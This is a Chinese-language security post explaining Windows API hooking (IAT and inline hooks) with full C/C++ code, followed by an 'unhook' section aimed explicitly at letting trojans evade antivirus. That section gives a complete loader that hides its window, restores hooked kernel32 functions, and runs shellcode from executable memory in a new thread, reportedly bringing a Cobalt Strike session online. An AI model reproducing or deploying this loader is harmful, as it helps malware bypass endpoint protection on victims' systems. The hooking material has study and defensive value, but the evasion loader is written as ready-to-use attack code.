|
ZackSecurity ZackSecurity 2023-12-07 16:44 发表于广西
一、Hook
Hook 说明:运行程序时杀软会检查敏感的 API 函数,如 OpenProcess、VirtualAllocEx、WriteProcessMemory 等。杀软常用的方式是在程序加载 API 前 jmp 跳转到杀软的检查代码地址,检查即将要调用的系统 API 是否为危险函数,是危险函数就阻断,否则 jmp 回程序原来顺序执行的地址,这个 jmp 检测过程就是 hook 过程。
1. IATHook
IATHOOK 的基本原理是通过修改导入地址表中的函数地址,将原始函数地址替换为自定义的函数地址。这样,在程序调用原始函数时,实际上会执行被替换的自定义函数,从而实现对目标函数的拦截和修改。
IATHook 实现过程:
获取目标模块的基址:根据目标函数的模块名称或函数地址,可以通过 Windows API 函数如 GetModuleHandle 或 LoadLibrary 来获取目标模块的基址。
获取导入地址表(IAT):通过解析目标模块的导入描述符表(Import Descriptor Table),可以获得导入地址表的位置。
修改导入地址表:将目标函数的地址替换为自定义函数的地址,即进行钩子操作。可以使用 VirtualProtect 函数来修改内存页面的访问权限,确保可以写入。
自定义函数的实现:编写自定义函数的代码,用于替代原始函数的功能。在自定义函数中,可以执行一些额外的操作,如记录日志、修改参数、阻止函数调用等。
调用原始函数:在自定义函数中,如果需要调用原始函数,可以通过函数指针来调用被替换的原始函数。
IATHook 实现测试代码:
- #include <windows.h>
- //创建函数指针
- typedef int (WINAPI* PfnMsgA)(
- _In_opt_ HWND hWnd,
- _In_opt_ LPCSTR lpText,
- _In_opt_ LPCSTR lpCaption,
- _In_ UINT uType);
- //定义函数指针
- PfnMsgA g_OldPfnMsgA = nullptr;
- //自己定义的hook函数
- int WINAPI MyMessageBox(_In_opt_ HWND hWnd, _In_opt_ LPCSTR lpText, _In_opt_ LPCSTR lpCaption, _In_ UINT uType)
- {
- char szHookText[] = "成功hook到检查函数";
- if (g_OldPfnMsgA != nullptr)
- {
- //调用前的函数指针
- return g_OldPfnMsgA(hWnd, szHookText, lpCaption, uType);
- }
- return 0;
- }
- //hook函数
- void SetIatHook()
- {
- PVOID pHookAddress = nullptr;
- //指定要HOOK的函数MessageBoxA
- pHookAddress = GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
- if (nullptr == pHookAddress)
- {
- OutputDebugString(TEXT("获取函数地址失败"));
- return;
- }
- //保存旧的函数指针
- g_OldPfnMsgA = (PfnMsgA)pHookAddress;
- //解析PE头,寻找IAT
- HMODULE hModImageBase = GetModuleHandle(NULL);//获取当前的ImagBase
- PIMAGE_DOS_HEADER pDosHead = (PIMAGE_DOS_HEADER)(DWORD)hModImageBase; //获取DOS头
- DWORD dwTemp = (DWORD)pDosHead + (DWORD)pDosHead->e_lfanew;
- PIMAGE_NT_HEADERS pNtHead = (PIMAGE_NT_HEADERS)dwTemp;
- PIMAGE_FILE_HEADER pFileHead = (PIMAGE_FILE_HEADER)&pNtHead->FileHeader;
- PIMAGE_OPTIONAL_HEADER pOptHead = (PIMAGE_OPTIONAL_HEADER)&pNtHead->OptionalHeader;
- //寻找导出表的位置
- DWORD dwExportLocal = pOptHead->DataDirectory[1].VirtualAddress; //找到导出表偏移
- //定位到导出表
- dwTemp = (DWORD)GetModuleHandle(NULL) + dwExportLocal;
- PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)dwTemp;
- PIMAGE_IMPORT_DESCRIPTOR pCurrent = pImport;
- DWORD* pFirstThunk; //导入表子表,也就是IAT存储函数地址的表
- //遍历导入表
- while (pCurrent->Characteristics && pCurrent->FirstThunk != NULL)
- {
- dwTemp = pCurrent->FirstThunk + (DWORD)GetModuleHandle(NULL); //找到导入表
- pFirstThunk = (DWORD*)dwTemp; //加上偏移才是真正的导入表
- while (*(DWORD*)pFirstThunk != NULL)
- {
- //遍历子表
- if (*(DWORD*)pFirstThunk == (DWORD)g_OldPfnMsgA)
- {
- //找到要修改的导入表,修改内存保护属性,写入自己的函数地址
- DWORD oldProtected;
- VirtualProtect(pFirstThunk, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtected);
- dwTemp = (DWORD)MyMessageBox;
- memcpy(pFirstThunk, (DWORD*)&dwTemp, 4); //将变量中保存的函数地址拷贝到导入表中
- //四字节长度的地址
- VirtualProtect(pFirstThunk, 0x1000, oldProtected, &oldProtected);
- }
- pFirstThunk++; //继续遍历
- }
- pCurrent++; //每次是加一个导入表结构
- }
- }
- //取消hook函数,遍历导入表后恢复导入表
- void UnIatHook()
- {
- PVOID pHookAddress = nullptr;
- //取消hook到MyMessageBox函数
- pHookAddress = MyMessageBox;
- if (nullptr == pHookAddress)
- {
- OutputDebugString(TEXT("恢复函数地址失败"));
- return;
- }
- //解析PE头,寻找IAT
- HMODULE hModImageBase = GetModuleHandle(NULL);//获取当前的ImagBase
- PIMAGE_DOS_HEADER pDosHead = (PIMAGE_DOS_HEADER)(DWORD)hModImageBase; //获取DOS头
- DWORD dwTemp = (DWORD)pDosHead + (DWORD)pDosHead->e_lfanew;
- PIMAGE_NT_HEADERS pNtHead = (PIMAGE_NT_HEADERS)dwTemp;
- PIMAGE_FILE_HEADER pFileHead = (PIMAGE_FILE_HEADER)&pNtHead->FileHeader;
- PIMAGE_OPTIONAL_HEADER pOptHead = (PIMAGE_OPTIONAL_HEADER)&pNtHead->OptionalHeader;
- //寻找导出表的位置
- DWORD dwExportLocal = pOptHead->DataDirectory[1].VirtualAddress; //找到导出表偏移
- //定位到导出表
- dwTemp = (DWORD)GetModuleHandle(NULL) + dwExportLocal;
- PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)dwTemp;
- PIMAGE_IMPORT_DESCRIPTOR pCurrent = pImport;
- DWORD* pFirstThunk; //导入表子表
- //遍历导入表
- while (pCurrent->Characteristics && pCurrent->FirstThunk != NULL)
- {
- dwTemp = pCurrent->FirstThunk + (DWORD)GetModuleHandle(NULL);
- pFirstThunk = (DWORD*)dwTemp; //加上偏移才是真正的导入表
- while (*(DWORD*)pFirstThunk != NULL)
- {
- //遍历子表
- if (*(DWORD*)pFirstThunk == (DWORD)MyMessageBox) //如果是自己的函数地址,则进行恢复
- {
- //找到要修改的导入表,修改内存保护属性,写入自己的函数地址
- DWORD oldProtected;
- VirtualProtect(pFirstThunk, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtected);
- dwTemp = (DWORD)g_OldPfnMsgA;
- memcpy(pFirstThunk, (DWORD*)&dwTemp, 4); //将变量中保存的函数地址拷贝到导入表中
- VirtualProtect(pFirstThunk, 0x1000, oldProtected, &oldProtected);
- }
- pFirstThunk++; //继续遍历
- }
- pCurrent++; //每次是加一个导入表结构
- }
- }
- void main()
- {
- MessageBoxA(NULL, "hook测试", "标题", MB_OK);
- SetIatHook(); //调用hook
- MessageBoxA(NULL, "hook测试", "标题", MB_OK);
- UnIatHook(); //取消hook
- MessageBoxA(NULL, "hook测试", "标题", MB_OK);
- }
复制代码
IATHook 实现测试运行:
调用hook前,调用MessageBoxA函数正常输出内容。
调用hook后,再调用MessageBoxA函数输出内容被修改。
取消hook后,再调用MessageBoxA函数输出内容恢复正常。
2. InlineHook
InlineHook(内联钩子)是一种在程序运行时修改函数执行流程的技术。它通过修改函数的原始代码,将目标函数的执行路径重定向到自定义的代码段,从而实现对目标函数的拦截和修改。
InlineHook 内联钩子的实现有以下步骤:
- 定位目标函数的地址:通过函数名或者导入表等方式找到目标函数在内存中的地址。
- 修改目标函数的内存权限:将目标函数的内存权限修改为可写可执行,以便后续修改函数的指令。
- 备份目标函数的原始指令:将目标函数的原始指令备份到自定义的缓冲区中。
- 修改目标函数的指令:将目标函数的指令修改为跳转到自定义代码的指令,以实现拦截和修改。
- 编写自定义代码:编写自定义的代码,实现对目标函数的拦截和修改逻辑。
- 执行自定义代码:将自定义的代码插入到目标函数的执行流程中,使其被调用时执行自定义逻辑。
- 恢复目标函数的原始指令:在自定义代码执行完毕后,恢复目标函数的原始指令,以确保目标函数的正常执行。
InlineHook测试dll代码:
- #include <windows.h>
- #include <pch.h>
- //定义函数地址变量和新旧比特数
- PROC m_FunAddress;
- BYTE m_OldBytes[5];
- BYTE m_NewBytes[5];
- BOOL Hook(const char* pszModuleName, const char* pszFuncName, PROC pfnHookFunc)
- {
- //获取指定模块中指定函数的地址
- m_FunAddress = (PROC)GetProcAddress(GetModuleHandleA(pszModuleName), pszFuncName);
- if (m_FunAddress == NULL)
- {
- return false;
- }
- //保存函数的头五个字节
- DWORD dwRet = 0;
- ReadProcessMemory(GetCurrentProcess(), m_FunAddress, m_OldBytes, 5, &dwRet);
- //构造Jmp指令
- //jmp Address
- m_NewBytes[0] = '\xE9';
- *(DWORD*)(m_NewBytes + 1) = (DWORD)pfnHookFunc - (DWORD)m_FunAddress - 5;
- //写5字节
- WriteProcessMemory(GetCurrentProcess(), m_FunAddress, m_NewBytes, 5, &dwRet);
- return true;
- }
- //取消hook函数
- VOID UnHook()
- {
- if (m_FunAddress != 0)
- {
- DWORD dwRet = 0;
- WriteProcessMemory(GetCurrentProcess(), m_FunAddress, m_OldBytes, 5, &dwRet);
- }
- }
- //重新hook函数
- BOOL ReHook()
- {
- if (m_FunAddress != 0)
- {
- DWORD dwRet = 0;
- WriteProcessMemory(GetCurrentProcess(), m_FunAddress, m_NewBytes, 5, &dwRet);
- }
- return true;
- }
- //自定义函数MyMessageBoxA
- int
- WINAPI MyMessageBoxA(
- _In_opt_ HWND hWnd,
- _In_opt_ LPCSTR lpText,
- _In_opt_ LPCSTR lpCaption,
- _In_ UINT uType)
- {
- UnHook();
- int nRet = MessageBoxA(hWnd, "InlineHook 成功!", "标题", uType);
- ReHook();
- return nRet;
- }
- //dll主函数
- BOOL APIENTRY DllMain(HMODULE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- m_FunAddress = NULL;
- memset(m_OldBytes, 0, 5);
- memset(m_NewBytes, 0, 5);
- //hook系统user32.dll里面的MessageBoxA到自定义函数MyMessageBoxA
- Hook("user32.dll", "MessageBoxA", (PROC)MyMessageBoxA);
- break;
- case DLL_THREAD_ATTACH:
- break;
- case DLL_THREAD_DETACH:
- break;
- case DLL_PROCESS_DETACH:
- UnHook();
- break;
- }
- return TRUE;
- }
复制代码
InlineHook测试C++代码:
- #include <windows.h>
- void main() {
- MessageBoxA(NULL, "Hook 测试", "标题", NULL);
- LoadLibraryA("Dll1.dll"); //调用hook的dll文件
- MessageBoxA(NULL, "Hook 测试", "标题", NULL);
- }
复制代码
分别生成dll文件和exe文件,放在同一目录下执行,效果如下:
调用hook前,MessageBoxA函数正常输出内容。
调用hook后,MessageBoxA函数内容被修改输出。
二、UnHook
反Hook说明:hook叫上钩,unhook叫脱钩。当运行木马时杀软会跳转程序到检查恶意API的函数里面,这时调用的恶意API是属于hook上钩状态,反Hook就是需要使恶意API复原为脱钩状态,脱钩后再调用。
unhook脱钩加载shellcode代码:
- #include <windows.h>
- #include <ImageHlp.h>
- #include <iostream>
- #include <vector>
- using namespace std;
- #pragma comment(lib,"imagehlp")
- //隐藏黑框
- #pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"" )
- //shellcode变量
- unsigned char buf[] = "";
- //unhook函数,传入要脱钩的api
- void unhookAPI(const char* functionName) {
-
- //加载unhook脱钩api的dll文件
- HMODULE lib = LoadLibrary("C:\\Windows\\System32\\kernel32.dll");
- BYTE assemblyBytes[5] = {};
- if (lib) {
- void* fa = GetProcAddress(lib, functionName);
- if (fa) {
- BYTE* read = (BYTE*)fa;
- for (int i = 0; i < 5; i++) {
- assemblyBytes[i] = read[i];
- }
- //复写传入的api函数
- WriteProcessMemory(GetCurrentProcess(), GetProcAddress(GetModuleHandle("kernel32.dll"), functionName), (LPCVOID)assemblyBytes, 5, NULL);
- FreeLibrary(lib);
- printf("Unhook %s Succeed!\n", functionName);
- }
- else
- printf("Function not found!\n");
- }
- else
- printf("Error loading library!\n");
- }
- int main() {
- //unhook脱钩,将被hook的函数复原
- unhookAPI("VirtualAlloc");
- unhookAPI("RtlMoveMemory");
- unhookAPI("CreateThread");
- unhookAPI("WaitForSingleObject");
- //申请一段虚拟内存空间
- LPVOID add = VirtualAlloc(NULL, sizeof(buf), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- //移动shellcode内容到内存
- RtlMoveMemory(add, buf, sizeof(buf));
- //通过创建新线程的方式运行内容
- HANDLE hand = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)add, NULL, NULL, NULL);
- //等待结束
- WaitForSingleObject(hand, INFINITE);
- return 0;
- }
复制代码
生成exe运行,上线CS服务端:
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|